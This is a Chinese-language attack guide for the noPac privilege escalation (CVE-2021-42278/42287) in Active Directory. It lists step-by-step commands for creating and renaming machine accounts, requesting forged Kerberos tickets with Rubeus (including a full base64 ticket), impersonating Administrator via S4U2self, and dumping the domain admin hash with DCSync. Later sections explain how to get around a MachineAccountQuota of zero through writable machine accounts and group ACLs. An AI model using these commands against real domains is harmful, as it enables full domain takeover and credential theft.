漏洞原理
1.CVE-2021-42278 允许攻击者使用计算机帐户sAMAccountName欺骗来模拟域控制器。
2.CVE-2021-42287 允许攻击者冒充域控制器,通过KDC创建高权限服务票据。
3.CVE-2020-25719 允许有权创建其他用户或机器帐户的委派管理员可以滥用票证发出时间和呈现时间(返回 AD DC)之间的竞争来模拟不同的帐户,包括高特权帐户。
条件
域内主机 域用户账号密码(还不确定是否需要hash)
攻击方法
windows域内
- 创建机器用户hello
1 2
Import-Module .\Powermad.ps1 New-MachineAccount -MachineAccount hello -Domain sync.net -DomainController sync-dc.sync.net -Verbose
- 删除spn记录
1 2
Import-Module .\powerview.ps1 Set-DomainObject "CN=hello,CN=Computers,DC=sync,DC=net" -Clear 'serviceprincipalname' -Verbose
- 重新设置机器名
1 2
Import-Module .\Powermad.ps1 Set-MachineAccountAttribute -MachineAccount hello -Value "sync-dc" -Attribute samaccountname -Verbose
- 请求TGT
1 2 3
Rubeus2.exe asktgt /user:sync-dc /password:zy123!@#45 /domian:sync.net /dc:sync-dc.sync.net /nowrap //或者使用hash,因为用不到hash,创建的机器用户名密码是自己设置的,所以肯定有明文密码 Rubeus2.exe asktgt /user:sync-dc 此处参考文档去吧 /domian:sync.net /dc:sync-dc.sync.net /nowrap
- 恢复原来的机器属性
1 2
Import-Module .\Powermad.ps1 Set-MachineAccountAttribute -MachineAccount hello -Value "hello" -Attribute samaccountname -Verbose
- Request S4U2self(获取票据)
1
Rubeus2.exe s4u /impersonateuser:Administrator /nowrap /dc:sync-dc.sync.net /self /altservice:LDAP/sync-dc.sync.net /ptt /ticket:doIEuDCCBLSgAwIBBaEDAgEWooID2jCCA9ZhggPSMIIDzqADAgEFoQobCFNZTkMuTkVUoh0wG6ADAgECoRQwEhsGa3JidGd0GwhTeW5jLm5ldKOCA5owggOWoAMCARKhAwIBAqKCA4gEggOEctv8iHSYZ1VmMmu9lCIWyqRMPwSudSYT/ZhbgVCggrSHUD2HZdj5cp5PlC4eTjpuUF6tli8MfdNc/orzs/J+zaEpSMAuS60FIjImoTEzLwiyKeKoVCOKnwdsetfExr+NXK8PqFGE6VFWcAn3PbEGwTPd/oBYvtYWKOQhbDbWgjKod5VeO1iMK7HfGM31v5ZO9p9lXs+FREoEaTl7+qaMx1NJJNXjj1JXXt1GoFC52/sBzUy0bXHY8UVTzCZsTF/JMvrt50F+SOnXV4aGNXNEuZ3WUpxMHIh488vfJ/AbpLI+gf7uvlgmMsl2NoYyF36AgaApTHwYEV/Uhm29epmclR6cL6+cSf7oZzYLCWHjp5fmyTpp9JMfeiR0gXi/B3JyJqVHV9E46fwIT1VYE/QXdq2EH73OMH2T24EQ6piToKUB7Wo6vHqndU65lsUlkNoYs1ppKU4FIfItb8gWaO9tL1qL+DAYwW7FWnBghIvJ6NW5tgl7zXh2rbSCNNMSOKPdbL6ZukonsVICuHYrsiP2ovb7RZmqPBhgAFc8WqbjIdAsuZJ9TgowFf0BXlXNONQSyGTK8hX1dve16GQ2HTZy4ibH9EL6g2E1VRWiOwfHDQkbawiJjsoWX0EAMPCKu/DP35TR4gwe972J6yhHvUZq5nJkQcVLm9OCy++YbXw64EfzFnDmTvI3VkHuB6dH1nO3qGpKkhbp39e+CuwGS3FKrYtCYZXaNFCi9I3XOh2aow8GnZ/5iRoHGr1hlpf8I18bSk7Ve/zobznX57KBDV8relz0d2lpmDMw4B0drxQQINoSPYwA3upbM6C7r9QjawvyYQIeuydEybLo47uuY1cQbI2KI71O3kOObMaFu5/3q7ALhW975J2rQ0gtLrduiw2sbliD6pV2MGwz1MgI0PhJlyXsANmGGnQHLRJrO/xVrcryVRBIUbEKYfC6YWhqwof9+/BcGRmRFSudPqi6sXwJmsAjbaRfpse6U/0yqyKcseape9P9T0P1OgrjPEX5g3BUy18cJZZ/fR0yMnpZc7huK9rF+dktgjxWL9HL8iFXlrOniVicTtoUclJfXM5em6+3KOHIaE+uk3cEtq0UEyT/U4LGsr4l2UON6ZBSbnq6ZliX2UXTlZYRKe8k3F28DOUw3XlBpCNYG4PwcT59mR22jZth4PatKBhTShTPiMXdiwLgUMKso4HJMIHGoAMCAQCigb4Egbt9gbgwgbWggbIwga8wgaygGzAZoAMCARehEgQQTffKRcd/1+EY5yLZ8fESGaEKGwhTWU5DLk5FVKIUMBKgAwIBAaELMAkbB3N5bmMtZGOjBwMFAEDhAAClERgPMjAyMTEyMTMwNDU0MjVaphEYDzIwMjExMjEzMTQ1NDI1WqcRGA8yMDIxMTIyMDA0NTQyNVqoChsIU1lOQy5ORVSpHTAboAMCAQKhFDASGwZrcmJ0Z3QbCFN5bmMubmV0
- 获取 域管用户的 NTLM Hash
lsadump::dcsync /user:sync.net\administrator
linux域外
- 添加主机
1
2
3
addcomputer.py -dc-ip 10.10.10.146 s.com/zhangsan:Zsadmin\@123
[*] Successfully added machine account DESKTOP-R8X0MOBQ$ with password y5P68a0OYRBeJQNxGrcwM9SNhNxNCiFP.
- 修改主机名为DC的主机名,不要带$
1
2
3
4
python renameMachine.py -current-name 'DESKTOP-R8X0MOBQ$' -new-name 'DC' -dc-ip 10.10.10.146 s.com/zhangsan:Zsadmin\@123
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Target machine renamed successfully!
- 利用改过samAccountName用户名向域控制器请求带有PAC的正常的TGT
1
2
Rubeus.exe asktgt /user:DC /password:y5P68a0OYRBeJQNxGrcwM9SNhNxNCiFP /domain:s.com /dc:10.10.10.146 /nowrap /ptt
// /ptt已经将票据注入了,可以使用klist查看
- 将主机名修改回去
1
2
3
4
python renameMachine.py -current-name 'DC' -new-name 'DESKTOP-R8X0MOBQ$' -dc-ip 10.10.10.146 s.com/zhangsan:Zsadmin\@123
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Target machine renamed successfully!
- 使用这个带有PAC的正常的TGT,利用S4u2Self协议请求访问ldap/dc的ST服务票据
1
Rubeus.exe s4u /self /impersonateuser:administrator /altservice:ldap/dc.s.com /dc:dc.s.com /ptt /ticket:base64的TGT票据
MAQ=0
0x01 原理
MAQ,MS-DS-Machine-Account-Quota
,此属性为允许用户在域中创建的计算机帐户数。
许多域内为了缓解一些委派、Relay攻击都将此属性设置为0,那么代表着攻击者没办法在没有已控制机器账户的情况下去申请票据了,所以可以缓解一下此类攻击。
0x02 利用**
得知是否限制了MAQ可以使用LDAP查询工具去查询ms-DSMachineAccountQuota
这个属性即可
1
2
ldapsearch -x -h 10.0.1.1 -b "DC=test,DC=com" -D "CN=duck,CN=Users,DC=test,DC=com"
-W -s sub "(objectclass=domain)" | grep "ms-ds-machineaccountquota" -i
1. MAQ>0的情况
如果不是只傻狗应该直接打就可以了,具体打的命令操作等就不赘述了,参考之前的文章。
2. MAQ=0的情况
如果在限制了MAQ属性的情况下,攻击的核⼼就是需要对⼀个账⼾有写权限
2.2 Creater-SID
机器账户被拉入域的用户账户对这个机器账户有GenericAll
的权限,意味着可以更改其属性;对应机器账户中的creater-sid
这个属性的sid就为拉它入域的用户账户。
所以我们存在用户凭据的情况下可以查看是否有机器账户可以写的。
然后就可以利用当前账户去做攻击:
- 清除此机器账户的SPN
- 更改此机器账户密码
- 攻击过程
- 恢复密码
- 恢复此账户的SPN(重要)
更改密码就利用SAMR协议
去更改即可。
2.3 用户组
还可以查一下对某些机器、或是用户有写权限的组:
1
Get-DomainObjectAcl duck -ResolveGUIDs | ?{$_.SecurityIdentifier -eq (Get-DomainUser dog).objectsid}
可能会有一些特殊的用户组,这样可以有针对性的寻找该用户继而修改对应的机器账户。
接着和上述流程一样。
2.4 加域账号
这里说的是MAQ限制情况下所存在的加域账户,有可能限制了MAQ,但是企业肯定要加机器到域⾥的,对应的组策略
privilege就是SeMachineAccountPrivilege
1
2
adfind -b CN=Computers,DC=test,DC=com -sddl+++ -s base -sdna -sddlfilter ;;"CR
CHILD";;;
找到这个⽤⼾的话,再⽤他来添加机器账⼾即可。
3.域外无凭据
在域外没有凭据的情况下,就是要搞⼀个机器账⼾或是用户账户先入域再说,可以配合webdav、rbcd等等思路拿到一个机器账户接着去按以上思路搜集信息,然后就是MAQ限制和不限制两种情况了。
0x03 总结
其实总的思路就是想办法找A对B有WriteProperty
即可